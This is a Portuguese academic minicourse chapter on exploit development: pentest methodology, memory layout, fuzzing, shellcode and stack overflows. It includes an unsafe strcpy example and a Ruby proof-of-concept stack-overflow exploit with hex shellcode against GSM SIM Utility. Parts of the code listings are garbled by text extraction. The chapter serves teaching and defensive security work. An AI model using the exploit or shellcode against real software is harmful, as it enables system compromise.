NOTA: em relao verso publicada pela Sociedade Brasileira de Computao (http://sbseg2012.ppgia.pucpr.br/@docs/SBSeg2012Minicursos.

.pdf), este documento apresenta ligeiras correes, identificadas pelos autores e pelo colaborador Gustavo Andr, a quem agradecemos pela prestimosa contribuio. A verso mais atual deste trabalho encontra-se disponvel no seguinte endereo: https://sites.google.com/site/mateustymbu/SBSeg_2012-Minicurso1.pdf

ltima atualizao: 18/12/2012

Captulo

1
Anlise de vulnerabilidades em Sistemas Computacionais Modernos: Conceitos, Exploits e Protees
Mateus Felipe Tymburib Ferreira, Thiago de Souza Rocha, Gilbert Breves Martins, Eduardo Feitosa e Eduardo Souto
Instituto de Computao (IComp) Universidade Federal do Amazonas 69077000 - Manaus - AM - rasil {mateus, thiago.rocha, !il"ert#martins$ efeitosa, esouto}@icomp.ufam.edu.br Abstract The growing occurrence of cyberattacks has increased the scientific community interest and the amount of organizations investment in the search for new solutions capable of dealing with these hacking techniques of computational systems. Among these techniques, the development of exploits has been highlighted by several authors as one of the main attackers weapons in the last decades. For this reason, the development of these artifacts has also been incorporated by security analysts to their penetration test methodologies, as a strategy to prevent attacks, contributing to the research of new defense mechanisms. This chapter provides insight into the exploit development techniques and its use in the building of malicious artifacts effective in the impairment of computational systems. Resumo O crescimento da ocorrncia de ataques cibernticos tem elevado o interesse da comunidade cientfica e os investimentos de organizaes na busca por novas solues que sejam capazes de lidar com essas tcnicas de invaso de sistemas computacionais. Entre essas tcnicas, o desenvolvimento de exploits vem sendo destacado por diversos autores como uma das principais armas dos atacantes nas ltimas dcadas. Por esse motivo, o desenvolvimento desses artefatos tem sido incorporado tambm por analistas de segurana s metodologias de testes de penetrao, como estratgia para preveno de ataques, contribuindo para a pesquisa de novos mecanismos de defesa. Este captulo fornece subsdios para o entendimento das tcnicas de desenvolvimento de exploits e o seu emprego na construo de artefatos maliciosos efetivos no comprometimento de sistemas computacionais.

1.1. Introduo
Os profissionais que trabalham com a execuo de testes destinados a levantar vulnerabilidades1 em sistemas acabam invariavelmente se deparando com questes ligadas validade de suas aes. Afinal, esses procedimentos so executados atravs das mesmas tcnicas empregadas por pessoas com intenes maliciosas. Apesar de algumas dessas aes serem justificadas por boas intenes, autores como Wilhelm [Wilhelm, 2009] e Engebretson [Engebretson, 2011] concordam que necessrio uma permisso clara daqueles que sero objeto do teste invasivo para diferenciar um teste de penetrao legtimo de uma tentativa de invaso maliciosa. Tratados coletivamente como Hackers, este grupo subdividido normalmente em duas categorias [Wilhelm, 2009]: Black Hat Hackers indivduos que executam ataques no autorizados contra sistemas de informao, motivados por ganho material ou financeiro, por mera curiosidade, ou ainda por questes polticas e religiosas. Seja qual for o motivo, entretanto, todos esto sujeitos a aes legais por parte daqueles que foram alvo de seus ataques; White Hat Hackers indivduos que executam avaliaes de segurana com base em contratos formais, trabalhando em companhias responsveis pela melhoria das caractersticas de segurana dos ambientes computacionais de seus clientes ou procurando vulnerabilidades que poderiam ser exploradas em ataques maliciosos. Ferramenta comum em processos invasivos que exploram falhas de segurana de um sistema, um exploit2 construdo por profissionais da rea de segurana para validar e demonstrar a efetividade de uma vulnerabilidade especfica, passando, nesse caso, a ser chamado tambm de Prova de Conceito (PoC Proof of Concept). O objetivo deste minicurso fornecer aos participantes subsdios para o entendimento das tcnicas de desenvolvimento de exploits e o seu emprego na construo de artefatos maliciosos efetivos no comprometimento de softwares executados em sistemas operacionais modernos. Assim, espera-se difundir os conhecimentos necessrios para a formao de futuros White Hat Hackers, que trabalharo para a melhoria da segurana das instituies e daqueles que delas dependem para execuo segura de suas atividades. 1.1.1. Contexto No primeiro pargrafo do livro Como quebrar cdigos: a arte de explorar (e proteger) software, os autores atribuem ao software a alcunha de Calcanhar-de-Aquiles dos sistemas modernos, conforme destacado no trecho a invaso de uma mquina quase sempre envolve a explorao do software [Hoglund e Macgraw, 2006]. Em um relatrio elaborado pelo comit consultivo sobre tecnologia da informao para o
%

Vulnerabilidade uma falha (tambm conhecido como bug), presente na segurana de um elemento do sistema, que pode ser utilizada por um atacante para deturpar o comportamento esperado deste elemento (normalmente uma componente de software), sujeitando o sistema afetado a problemas como indisponibilidade, obteno indevida de acessos privilegiados e controle externo por indivduos no autorizados. & Exploit: esse termo se refere tanto ao ato de tomar vantagem de uma vulnerabilidade presente em um sistema, como tambm usado para identificar a ferramenta desenvolvida para explorar a vulnerabilidade.

presidente dos Estados Unidos [EUA, 2005], os consultores tambm destinaram duas sees do documento intituladas O software a maior vulnerabilidade e Ataques e vulnerabilidades esto crescendo rapidamente para destacar o software como o elo mais fraco da cadeia de componentes alvejados por atacantes e apontar a escalada de atos hostis contra sistemas computacionais em todo o mundo. De fato, possvel comprovar essas afirmaes ao constatar-se que medida que a quantidade e a complexidade dos softwares aumenta, eleva-se tambm o volume de vulnerabilidades identificadas e o nmero de invases a sistemas computacionais reportadas, conforme estatsticas disponibilizadas pelo CERT/CC [CERT/CC, 2011] e apresentada na Figura 1.1.
9000 8000 7000 6000 5000 4000 3000 2000 1000 0

8077 8064 7236 5990 412937843780 37843780 2437 171 345 311 262 417 1090

N vulnerabilidades

1996 1998 2000 2002 2004 2006 2008 1995 1997 1999 2001 2003 2005 2007
Figura 1.1. Nmero de vulnerabilidades reportadas ao CERT/CC entre 1995 e 20083 [CERT/CC, 2011].

Conforme destacam Hoglund e McGraw [Hoglund e Macgraw, 2006], as exploraes de buffer4 overflow5 so as principais armas dos atacantes e, provavelmente, essa tendncia deve permanecer por vrios anos. Segundo Anley et al. [Anley et al., 2007], a primeira referncia formal tcnica de buffer overflow foi apresentada em 1996 por Aleph One, em seu artigo intitulado Smashing the Stack for Fun and Profit (Estourando a pilha por diverso e profisso) [One, 1996], onde o autor descreve em detalhes os passos para a explorao de vulnerabilidades de stack overflow (estouro de pilha). Pilha, heap, .data e .text so os seguimentos de memria de um processo, conforme explicado na seo 1.1.2. De maneira simplificada, o estouro de pilha o exemplo de buffer overflow mais discutido na literatura, caracterizando-se pela ultrapassagem dos limites de uma varivel alocada na pilha, o que acarreta a sobrescrita do endereo de retorno da funo e o consequente desvio do fluxo de execuo do programa para um endereo arbitrrio escolhido pelo atacante. Alm de ser a primeira tcnica de buffer overflow detalhada em uma publicao cientfica, o estouro de pilha foi tambm a primeira vulnerabilidade explorada em um ataque de larga escala, produzido por Morris Worm, em 1988, quando pelo menos uma
'

O valor relativo ao ano de 2008 uma estimativa baseada nos 3 primeiros trimestres. Aps esse perodo, o CERT/CC encerrou a publicao das estatsticas referentes ao nmero de vulnerabilidades catalogadas. ( Buffer: um espao de memria limitado e contnuo. ) Overflow: transbordamento (tambm chamado de estouro) do espao disponvel.

em cada vinte mquinas conectadas Internet foi comprometida [Orman e Streak, 2003]. Desde ento, uma srie de variantes de ataques de buffer overflow foi desenvolvida, de maneira a explorar tambm os demais segmentos de memria de um processo [Werthmann, 2006]. Apesar de provavelmente serem as vulnerabilidades mais conhecidas e publicamente documentadas, os estouros de pilha ainda prevalecem nos softwares produzidos atualmente, em relao s demais falhas de segurana [Anley et al., 2007]. Independente da frequncia em que so exploradas, todas as brechas tornam-se cada vez mais severas, medida que computadores, telefones celulares e outros dispositivos portteis proliferam-se globalmente [EUA, 2005]. 1.1.2. Gerenciamento de Memria Como a maioria dos problemas de segurana tratados neste minicurso derivam de operaes de manipulao do espao de memria de um processo, sero analisados os fundamentos bsicos a respeito do gerenciamento de memria. Todas as informaes fornecidas dizem respeito arquitetura Intel de 32 bits, conhecida como x86 ou IA32. Apesar da popularizao dos sistemas operacionais de 64 bits, muitas aplicaes ainda so desenvolvidas em 32 bits. A compatibilidade entre as verses garantida por componentes do prprio sistema operacional. Por exemplo, no caso das verses do sistema Windows, existe a camada WoW (Windows on Windows) [Johny et al., 2012][MSDN, 2012], que emula a arquitetura x86 de forma transparente para o usurio, permitindo que aplicaes de 16 ou 32 bits executem nas verses de 64 bits desse sistema. Quando um programa executado, seus componentes so mapeados para um espao de memria, designado para este fim pelo sistema operacional. Esse espao reservado utilizado para o armazenamento tanto das instrues que sero executadas como dos dados (variveis) que sero processados. De forma mais detalhada, esse espao subdividido em quatro segmentos, como mostrado na Figura 1.2. O segmento .data reservado para o armazenamento das variveis estticas e o segmento .text corresponde s instrues do programa. Ambos possuem um tamanho fixo. Por fim, existem as estruturas de pilha ( stack) e o heap. A primeira responsvel pelo armazenamento de variveis locais (pertencentes ao escopo de uma nica funo) e pelo registro de metadados usados pelo processador para controlar chamadas de funes. O heap responsvel pelo armazenamento de variveis alocadas dinamicamente.

Figura 1.2. Organizao do espao de memria de um processo [Maziero, 2011].

 importante destacar que a pilha funciona segundo um modelo LIFO ( Last In First Out ltimo a Entrar Primeiro a Sair), no qual os ltimos valores empilhados so os primeiros a serem desempilhados. Alm disso, ao contrrio do heap, que cresce do menor para o maior endereo, a pilha cresce do maior para o menor endereo. Esse comportamento de crescimento apresentado pela pilha e pelo heap, associado ao fato de que, do ponto de vista dos computadores modernos, no existe uma verdadeira distino entre instrues e dados, que possibilita a ao de exploits. 1.1.3. Registradores A manipulao de registradores um elemento fundamental no processo de criao de exploits. Para esse fim, merecem destaque os seguintes registradores: a) ESP (Extended Stack Pointer): um registrador acessvel pelo programa, que armazena o endereo de memria correspondente ao topo da pilha. Sua manipulao muito importante na aplicao de tcnicas de estouro de pilha (stack overflow); b) EIP (Extended Instruction Pointer): um registrador de controle, acessvel somente pelo processador, responsvel por armazenar o endereo da prxima instruo que ser executada. Induzir a alterao do valor desse registrador torna possvel a subverso do fluxo de execuo do programa, o que fundamental para a criao de um exploit efetivo. Esses registradores podem ser manipulados atravs de instrues em linguagem de montagem (assembly). Assim, alguma familiaridade com esse conjunto de instrues necessria. 1.1.4. Testes de Invaso6 Teste de invaso legtimo (tambm conhecido como pentest, ethical hacking ou white hat hacking) definido como uma tentativa autorizada de localizar e invadir sistemas computacionais, com o propsito de tornar esses sistemas mais seguros [Engebretson, 2011]. Tais testes se diferenciam de outras formas de avaliao, pois no consistem apenas do levantamento de ameaas em potencial, mas tambm da efetiva construo das ferramentas necessrias e da execuo propriamente dita do ataque invasivo, gerando uma PoC cujo objetivo demonstrar a possibilidade de consolidao do ataque. Apesar do mpeto para iniciar um procedimento de teste de invaso direto pela fase de desenvolvimento de um exploit, uma vez que normalmente essa a atividade mais interessante em um pentest, quanto melhor for a preparao e o planejamento prvio dessa atividade, maiores sero as possibilidades de sucesso. A metodologia ZEH (Zero Entry Hacking) um modelo simples de quatro etapas [Engebretson, 2011], destinada a orientar o processo de planejamento, preparao e execuo de todas as aes associadas ao teste de penetrao. A cada nova etapa, o processo entra sucessivamente em um novo nvel de detalhe, at que seja identificado o objeto de estudo do teste, conduzindo de forma clara as aes do responsvel pela atividade. A metodologia ZHE dividida em:
6

Alguns autores utilizam tambm o termo Testes de Penetrao. Neste trabalho, as duas expresses sero usadas de maneira intercambivel.

a) Reconhecimento, onde deve ser levantada a maior quantidade possvel de informaes a respeito do objeto de ataque, alm de definir as estratgias que sero empregadas e o planejamento de todas as aes que sero executadas; b) Varredura, onde se identificam as vulnerabilidades especficas dos servios ou elementos de software que sero a base das aes invasivas executadas na fase seguinte; c) Explorao, onde todas as informaes colhidas nas etapas anteriores so utilizadas para a execuo do ataque propriamente dito, tendo como principal meta utilizar as falhas ou vulnerabilidades identificadas anteriormente para alterar o comportamento natural de um software, de forma a obter acesso e controle do sistema que foi alvo da invaso; d) Manuteno do Acesso, onde o atacante vai garantir a continuidade do acesso ao sistema invadido (normalmente atravs do uso de ferramentas como backdoors e rootkits), evitando que todo o processo de invaso tenha que ser executado novamente em um acesso posterior ao sistema invadido. Essa etapa pode ser considerada opcional, mas necessria para construir uma PoC que espelhe fielmente os ataques reais. Apesar de no constituir oficialmente uma etapa da metodologia ZEH, a ltima tarefa do profissional responsvel pelo teste de penetrao a elaborao de um relatrio [Wilhelm, 2009] [Engebretson, 2011], onde sero detalhadas as informaes obtidas durante a execuo do processo de ataque. Esse relatrio deve ser escrito de forma clara, contendo: a) um resumo executivo, com foco no corpo gerencial da instituio que solicitou o teste; b) o detalhamento tcnico de todo o processo invasivo; e, se possvel; c) uma descrio das aes necessrias para mitigar a falha e eliminar as vulnerabilidades que o sistema apresenta. 1.1.5. Organizao do minicurso Este minicurso est organizado da seguinte maneira: a seo 1.2 apresenta os principais tipos de vulnerabilidades de softwares, como elas normalmente so descobertas e quais caractersticas dessas falhas permitem a execuo de cdigos maliciosos; a seo 1.3 explica a origem histrica dos principais mecanismos de proteo da memria, seu funcionamento e suas implicaes para o desenvolvimento de exploits; a seo 1.4 detalha as tcnicas mais utilizadas para desenvolver exploits capazes de se aproveitar de falhas de softwares mesmo em sistemas operacionais modernos que incluem protees de memria; e finalmente, a seo 1.5 apresenta os objetos de pesquisa que devem crescer em relevncia nos prximos anos, destacando as principais classes de mecanismos de defesa em estudo e as tendncias apontadas por pesquisadores da rea, alm de apresentar os comentrios finais dos autores sobre o tema.

1.2. Explorao de Vulnerabilidades

Esta seo aborda os principais tipos de vulnerabilidades de softwares explorveis atravs de exploits, como elas so descobertas e quais caractersticas dessas falhas permitem a execuo de cdigos maliciosos. Entre os diversos mecanismos de

identificao de defeitos em softwares, optou-se por detalhar a tcnica de fuzzing. Em seguida, apresentado o conceito de shellcode, esclarecendo sua importncia para uma explorao bem sucedida e as suas possibilidades de emprego. Finalmente, so descritos quatro tipos comuns de defeitos explorveis em softwares (estouros de pilha, estouros de heap, falhas de formatao de strings e sobrescrita de tratadores de exceo estruturados), analisando as caractersticas que produzem cada uma das vulnerabilidades, como evit-las e como explor-las para executar cdigos arbitrrios. 1.2.1. Descobrindo vulnerabilidades Testes de invaso tm por objetivo verificar a resistncia dos sistemas em relao aos mtodos de ataque existentes. Diariamente so descobertas novas falhas nos mais variados sistemas, por isso de fundamental importncia a realizao de auditorias preventivas. Mais especificamente, os testes de invaso podem dar um diagnstico fidedigno sobre a segurana dos sistemas em questo. Parte do processo de teste de penetrao consiste em verificar se possvel detectar novas vulnerabilidades em um sistema. Porm, antes de iniciar esses testes, necessrio realizar um planejamento, ocasio em que decidido qual tipo de teste ser efetuado. De acordo com Michael [Sutton et al., 2007], o teste para o descobrimento de vulnerabilidades pode ser classificado como caixa preta ou caixa branca. Nos testes caixa branca, o testador tem acesso irrestrito a qualquer informao que possa ser relevante ao teste, tais como informaes sobre o ambiente ou dados sobre os servidores. Essas informaes incluem os cdigos fonte das aplicaes, que podem ser analisados utilizando ferramentas de depurao (debug). Em um teste caixa preta, h pouco ou nenhum conhecimento prvio sobre o ambiente a ser avaliado, e tudo deve ser descoberto pelo testador. Embora nenhuma metodologia consiga sozinha garantir que no existem vulnerabilidades em uma aplicao, [Sutton et al., 2007] a cobertura alcanada pelos testes caixa branca maior. Isso ocorre principalmente pelo fato do testador possuir o cdigo fonte do sistema, possibilitando uma reviso do cdigo. Dessa forma, os diversos caminhos que o cdigo executa podem ser auditados na procura por vulnerabilidades. Entre as desvantagens inerentes aos testes caixa branca, pode-se citar a complexidade de se fazer uma reviso completa do cdigo. Isso ocorre porque existem vrias linguagens de programao e, na maioria das vezes, os sistemas so desenvolvidos sem seguir um padro. Nos testes de caixa preta, o comportamento da aplicao analisado atravs das suas entradas. Nesse tipo de teste, os fluxos de execuo so testados de maneira indireta, visto que o testador no tem acesso ao cdigo fonte. Entre as vantagens dos testes caixa preta, pode-se citar a disponibilidade, pois esse tipo de teste pode ser executado em qualquer aplicao. A possibilidade de reproduo dos testes em outros cenrios tambm uma vantagem. Um teste feito em um servidor FTP, por exemplo, pode ser reproduzido em outros servidores que operem o mesmo protocolo. Por fim, a simplicidade uma vantagem dos testes de caixa preta,

pois esse tipo de teste pode ser conduzido sem um conhecimento prvio de como a aplicao funciona internamente. Entre as desvantagens dos testes caixa preta, encontra-se a cobertura dos testes. difcil determinar se o teste foi efetivo, pois no h como garantir que todos os possveis fluxos de execuo previstos na aplicao foram explorados. Outra desvantagem ocorre em relao inteligncia dos testes. Os testes de caixa preta so mais apropriados para ataques simples, que utilizam apenas um vetor de entrada. Ataques complexos, com vrios vetores, so difceis de ser elaborados e detectados. Dentre muitas alternativas na busca por vulnerabilidades em softwares, a abordagem de caixa preta denominada Fuzzing uma das mais utilizadas. Trata-se de um mtodo de testes de software onde a aplicao bombardeada com casos de testes gerados por outro programa [McNally et al., 2012]. A ideia desse mtodo verificar o comportamento do software nos casos em que o sistema recebe entradas mal formadas ou fora do padro esperado. Isto possibilita a descoberta de vulnerabilidades partir de combinaes de entradas no testadas originalmente pelo desenvolvedor. De acordo com [McNally et al., 2012], fuzzing permite descobrir vulnerabilidades no sistema atravs de um monitoramento das excees lanadas pelo programa. um processo geralmente automatizado, que envolve a manipulao dos campos de entrada da aplicao. A tcnica dividida em duas categorias: fuzzing baseado em mutao e fuzzing baseado em gerao. No fuzzing baseado em mutao, os dados so coletados da aplicao e depois modificados. Essa mutao pode ser efetuada de forma aleatria ou atravs de uma heurstica. No fuzzing baseado em gerao, um modelo para os dados de entrada especifica como os casos de testes devem ser criados [Miller e Peterson, 2007]. A forma de conduo da metodologia fuzzing depende de vrios fatores, como a habilidade do testador e a complexidade da aplicao. No entanto, de acordo com [Sutton et al., 2007], em geral a aplicao dos testes ocorre em seis etapas, conforme descrito a seguir: a) Identificao do alvo o testador procura por dados sobre o sistema a ser explorado, para encontrar informaes relevantes que ajudem na conduo do teste. b) Identificao das entradas nesta etapa, o testador procura identificar todas as interfaces e campos de entrada para o sistema alvo. Entre outras possibilidades, podem ser utilizados como vias de entrada de dados: soquetes ( sockets) de rede, variveis de ambiente, arquivos, argumentos da linha de comandos e interfaces remotas. c) Gerao de dados a terceira fase a responsvel pela gerao das entradas que sero utilizados durante o fuzzing. A deciso de utilizar fuzzing baseado em mutao ou fuzzing baseado em gerao depende do alvo e das informaes coletadas. d) Execuo dos dados nesta etapa, as entradas geradas no passo anterior so transferidas para a aplicao. Esse processo pode envolver o ato de enviar pacotes de dados ao alvo, abrir arquivos, enviar argumentos pela linha de comandos, etc.

e) Monitoramento das excees esse passo responsvel por colher as informaes das excees geradas no passo anterior. O tipo de falha ocasionada e o estado da aplicao aps a ocorrncia do erro determinar a estratgia de desenvolvimento de exploit a ser adotada. f) Determinao dos exploits na ltima fase do fuzzing, as informaes colhidas no passo anterior so estudadas para determinar se vulnerabilidades identificadas podem ser exploradas por algum tipo de exploit. 1.2.2. Explorando falhas em softwares Esta seo apresenta um conceito fundamental em exploits, o shellcode. Ser explicado o seu uso e importncia para o funcionamento de um exploit. Alm disso, sero detalhados quatro tipos comuns de defeitos explorveis em softwares: estouros de pilha, estouros de heap, falhas de formatao de strings e sobrescrita de tratadores de exceo estruturados. Existem outros tipos de defeitos explorveis em softwares, como uso aps liberao (use after free) [Anley et al., 2007], estouro de inteiros (integer overflow) [Blexim, 2002], ataques a senhas (password attacks) [Young e McHugh, 1987], ataques a ponteiros (pointer attacks) [Conover, 2002] e estouros de memria fora por um ( off by one buffer overflow) [SANS, 2012]. Esses defeitos no sero detalhados neste minicurso. 1.2.2.1. Shellcode Shellcode um conjunto de instrues, tipicamente escritas em assembly, que so injetadas e executadas por um programa atravs de um exploit [Anley et al., 2007]. So cdigos interpretados pelo processador como instrues, quando um exploit bem sucedido. A palavra shell, contida em seu nome, tem origem no fato de que, normalmente, um shellcode usado para abrir um shell (linha de comandos) da mquina atacada. Antigamente, na maioria dos casos, um shell de comando era disponibilizado depois que todas as instrues fossem executadas. Por isso esse artefato recebeu o nome de shellcode [Kennedy et al., 2011]. Os shellcodes normalmente so representados atravs de uma cadeia de valores em hexadecimal, para serem manipulados e injetados no programa alvo. Atualmente, existem diversos tipos de shellcode, disponveis para os mais variados tipos de sistemas e arquiteturas. De acordo com Anwar [Anwar, 2009], para funcionar adequadamente, um shellcode deve ser desenvolvido seguindo as seguintes premissas: a) Deve ser pequeno, pois geralmente o espao que o atacante possui para injetar o cdigo no buffer limitado; b) No deve possuir bytes nulos (0x00), pois esse valor um delimitador de string na linguagem C. Se a entrada maliciosa for recebida na forma de um string, o byte nulo causar a interrupo da leitura do shellcode;

c) Deve ser escrito em cdigo hexadecimal, para representar diretamente os bytes a serem gravados na memria; d) Deve ser especfico para um ambiente computacional (hardware e sistema operacional). Os shellcodes desenvolvidos para os sistemas operacionais Windows, por exemplo, no funcionam em sistemas Linux, pois, entre outras coisas, as chamadas de sistema so diferentes. A meta de um shellcode fazer com que um programa vulnervel funcione como uma porta de acesso ao sistema operacional hospedeiro. A maneira mais fcil de interagir com o sistema operacional atravs de suas chamadas de sistema ( syscalls). Por isso, normalmente os shellcodes preparam os parmetros para a execuo de chamadas de sistema que possibilitem o acesso ao sistema alvo. 1.2.2.2. Transbordamentos de memria Esta seo fornece uma breve explicao de uma das tcnicas mais usadas pelos atacantes para explorar vulnerabilidades no software, o buffer overflow (estouro ou transbordamento de memria). Como mencionado anteriormente, buffers so pores de memria, com tamanho definido, usados para armazenar algum dado. Um transbordamento de memria consiste em estourar a capacidade do buffer, inserindo mais informao do que ele capaz de armazenar. Isso faz com que os dados sejam inseridos em espaos de memria alm do limite previsto (tamanho do buffer) [Ulbrich, 2009]. Basicamente, existem dois tipos de transbordamentos de buffer: stack overflow (estouro da pilha) e heap overflow (estouro do heap). Estouro da pilha Na maioria das linguagens de programao de alto nvel, o cdigo quebrado em fraes menores para que os desenvolvedores possam chamar a mesma funo em vrias partes do programa, conforme indicado na Listagem 1.1.
Listagem 1.1. Exemplo de diviso de cdigo em funes.
1 2 3 4 5 void func(char * entrada){ char buffer[5]; strcpy(buffer, entrada); return; ! $ % ' int "ain(int ar#c, char ** ar#v){ func(ar#v[1]); return &;

Nesse exemplo, a funo main chama a funo func para executar algum processamento e, posteriormente, retornar o fluxo de execuo para a funo main. Durante essas chamadas entre funes, parmetros e metadados precisam ser salvos em algum lugar, para que o fluxo de execuo possa fluir entre as funes [Ulbrich, 2009]. Esse lugar o segmento de pilha, apresentado na seo 1.1.2. A Figura 1.3 ilustra o estado da pilha antes da chamada de uma funo e aps a concluso da transferncia do fluxo de execuo para a funo chamada.

Figura 1.3. Estado da pilha durante chamadas e retornos de funes.

Analisando a Figura 1.3, possvel observar os efeitos na pilha causados pelas instrues executadas durante os processos de chamada e retorno de uma funo. Em uma chamada de funo$ a pil*a + or!anizada se!uindo os se!uintes passos, a) antes de executar a instruo assembly de chamada da funo (CALL), so executadas instrues que empilham os parmetros para a funo a ser chamada (ex: PUSH); b) ao executar uma instruo CALL (chamada de funo), o processador empilha o endereo de retorno (endereo da instruo subsequente instruo de chamada da funo); c) o processador desvia o fluxo de execuo para a primeira instruo da funo chamada; d) uma instruo que empilha o endereo base (EBP base pointer) do frame pertencente funo chamadora executada (PUSH EBP); e) uma instruo que atualiza o base pointer executada, fazendo-o apontar para o incio do frame pertencente funo chamada (MOV EBP, ESP); f) uma instruo que atualiza o ponteiro para o topo da pilha (ESP stack pointer) executada, alocando espao para as variveis locais pertencentes funo chamada (ex: SUB ESP, valor); Aps a execuo desses passos, a pilha ilustrada na parte esquerda da Figura 1.3 se transforma na pilha apresentada na parte direita da mesma figura. Depois de concluir todo o procedimento de retorno da funo chamada, a pilha retorna ao estado indicado no canto esquerdo da Figura 1.3. O processo de retorno de uma funo consiste em realizar as operaes inversas ao procedimento de chamada de uma funo. Dessa forma, em um retorno de funo$ a pil*a + or!anizada se!uindo os se!uintes passos, a) depois de e-e.utar as instru/es previstas em seu .0di!o e antes de retornar$ a 1uno .*amada 1az o stack pointer apontar novamente para o endereo onde 1oi armazenado o base pointer perten.ente 2 1uno .*amadora (M34 567$ 5 7)8 b) uma instruo 9ue desempil*a o base pointer perten.ente 2 1uno .*amadora + e-e.utada (737 5 7)8 c) o pro.essador e-e.uta uma instruo 9ue desempil*a o endereo de retorno armazenado na pil*a e desvia o 1lu-o de e-e.uo para esse endereo (:5; < return)#

Caso e-istam par=metros$ essa instruo tam"+m indi.a a 9uantidade de par=metros a serem removidos da pil*a (e-, :5;> 0-0?$ para desempil*ar ? "@tes)# Se tomarmos o cdigo apresentado na Listagem 1.1 como exemplo, uma vez que no existe checagem do tamanho da entrada, caso o usurio informe uma string maior do que o buffer alocado dentro da funo func, ocorrer um estouro de buffer. As reas adjacentes a esse buffer na pilha sero sobrescritas. Se o tamanho da string de entrada for suficientemente grande, ela poder sobrescrever o endereo de retorno anotado na pilha por ocasio da chamada da funo. Assim, um atacante capaz de subverter o fluxo de execuo do programa, desviando-o para um endereo de sua escolha. A Figura 1.4 ilustra o estado da pilha aps a ocorrncia de um transbordamento de pilha com sobrescrita do endereo de retorno. Esse artifcio tem sido usado pelos atacantes para obter o controle da execuo do programa, adaptando a entrada do usurio de maneira a sobrescrever o endereo de retorno e fazer com que o programa execute um cdigo arbitrrio, o shellcode. Note que o atacante pode continuar sobrescrevendo toda a regio da pilha, ultrapassando a posio onde o endereo de retorno se localiza. Repare tambm que, aps retornar da funo, o ponteiro para o topo da pilha (ESP stack pointer) referencia a rea logo abaixo da posio onde os parmetros haviam sido anotados. Por conta disso, em falhas de transbordamento da pilha, usualmente o shellcode posicionado nessa regio, conforme ilustrado na Figura 1.4. Assim, a fim de desviar o fluxo de execuo para o incio do shellcode, os atacantes formatam a entrada de maneira que o endereo de retorno seja sobrescrito com o endereo de alguma instruo JMP ESP.

Figura 1.4. Estado da pilha aps transbordamento com sobrescrita do endereo de retorno.

A seguir apresentado um exemplo de exploit que utiliza a tcnica de estouro de pilha . Nesse artefato, explorada uma vulnerabilidade no software GSM SIM Utility. Essa vulnerabilidade foi divulgada em 07 de julho de 2010, juntamente com a PoC apresentada na Listagem 1.2.
7
7

http://www.exploit-db.com/exploits/14258

Esse exploit foi desenvolvido na linguagem Ruby. Nas trs primeiras linhas, trs variveis so inicializadas. Uma varivel chamada crash preenchida com 810 bytes correspondentes ao caractere A. Isso necessrio para preencher o espao entre o incio do buffer e o endereo de retorno que ser sobrescrito. Apesar de ser comum encontrar exploits que utilizam o caractere A para transbordar o buffer, qualquer byte aceito como entrada pela aplicao pode ser usado com essa finalidade. Aps isso, a varivel eip inicializada com o valor 0x01524000, que representa o endereo de uma instruo JMP ESP. Esse o valor que ir sobrescrever o endereo de retorno e, assim, causar o desvio do fluxo de execuo. Por fim, uma varivel chamada nop preenchida com 10 bytes de valor 0x90. Esse valor corresponde ao cdigo de operao (opcode) da instruo NOP (No Operation). Essa instruo no executa qualquer operao e apenas indica que a instruo subsequente deve ser executada. Ao saltar para o incio dessa sequncia de instrues NOP (JMP ESP), o processador ser guiado at a posio onde se encontra o shellcode.
Listagem 1.2. Exploit que usa a tcnica de estouro de pilha para executar o shellcode.
1 2 3 4 5 ! $ % ' 1& 11 12 13 14 15 1! 1$ crash ( )*) * %1& eip ( )&1524&&&) +,"p esp nop ( )'&) * 1& +"essa#e bocode ()d'eb'bd'$424f431d2b2$a31c'!4%). )b$13&%b$!&c%b$!1c%b4!&%%b$e2&). )%b3!3%4f1%$5f35'&1d1ffe1!&%b!). )c2424%b453c%b54&5$%&1ea%b4a1%). )%b5a2&&1ebe33$4'%b34%b&1ee31f). )f31c&fcac%4c&$4&ac1cf&d&1c$e'). )f1ffffff3b$c242%$5de%b5a24&1e). )b!!%b&c4b%b5a1c&1eb%b&4%b&1e%). )%'44241c!1c3b2&%2'd4%'e5%'c2!). )%%e4e&eec52e%'cffffff%'45&4bb). )$ed%e2$3%$1c2452e%%bffffff%'4). )5&%!%!c!c2&ff!%33322e!4!%$5$3). )!5$2%%5c24&a%'e!5!ff55&4%'c25). 1% 1' 2& 21 22 23 24 25 2! 2$ 2% 2' 3& 31 32 33 34 )&bba%a24dbc%$1c2452e%5effffff). )!%$&3&5%2&!%2&!3!%!1!%!42&!2$). )'!%!f!'$4!5!%45$%$&!c31db%%5c). )2412%'e3!%!%5%2&2&!%44!5!1$4!). )%2&!'$32&!%2&53!'!e!%$32&!f!!). )!%5$!1!$!5!%54!%!52&31c'%%4c2). )41'%'e131d252535152ffd&31c&5&). )ff55&%) pay/oad ( crash . eip . nop . code s"s ( 0i/e1ne2( )directret1s"s), )2) ) if s"s s"s1sys2rite(pay/oad) e/se puts )3nab/e to create fi/e1) end

As linhas de 4 a 25 apresentam o cdigo do shellcode, que mostra uma caixa de texto na tela. A linha 27 preenche a varivel denominada payload com a concatenao dos valores de todas as variveis anteriormente criadas. Na linha 29, criado um arquivo chamado directret.sms para escrita. Na linha 30, checado se o arquivo foi criado com sucesso. Caso o arquivo tenha sido criado com sucesso, o payload8 escrito no arquivo directret.sms. Caso contrrio, exibida uma mensagem indicando que no foi possvel criar o arquivo. Quando o usurio abrir a aplicao do GSM SIM Utility e carregar esse arquivo, a vulnerabilidade de estouro de pilha ser explorada e o exploit ser executado, ocasionando a impresso da mensagem na tela (shellcode).

Em protocolos de comunicao, o termo payload refere-se ao dado real sendo transmitido (desconsiderando-se cabealhos). No contexto de exploits, o termo payload usado tambm como sinnimo de shellcode.

